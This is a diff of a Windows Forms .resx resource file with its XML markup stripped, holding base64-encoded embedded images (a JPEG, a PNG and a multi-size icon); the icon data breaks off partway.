@@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcGBwcI + CQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwMDAwMDAwM + DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAAoANwDASIAAhEBAxEB/8QA + HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh + MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW + V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG + x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF + BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV + YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE + hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq + 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD98L/VLbSLbzbq4htoQQN8rhFyegyap/8ACdaK3P8Aa+mYx1+1 + J/jWlJAHGGAZfQjI/Kvl/wANeGLaT9oRNNaCA2qarKBHsGwKpZlGPQYH5V3YLCRr83M7cqueJm+Z1MG6 + fJFS52o692fSD+NNHhjiZ9V01UnG6Mm5QCQZxkc8jPpSHxzog/5i+mc9P9KT/Gs74raNBqPw21qOWGF1 + SzkkXKjhlUsCPQgjNePfsreF9L8T6lriajp1hqCxRQMgubdJQhJkzjcD6CihhIVKE6zbXLbT1JxmZ1aO + LpYVRT5769rHvWma7Z60H+x3dpd+URv8mVX2Z6ZweOlWtwxkEe1fN/7QPhW0+GPjyyuNBZtMe5hNwUgf + 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 + nOCQORRRU88rLUcacU+ZJXL9FFFBof/Z + + + + + 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 + 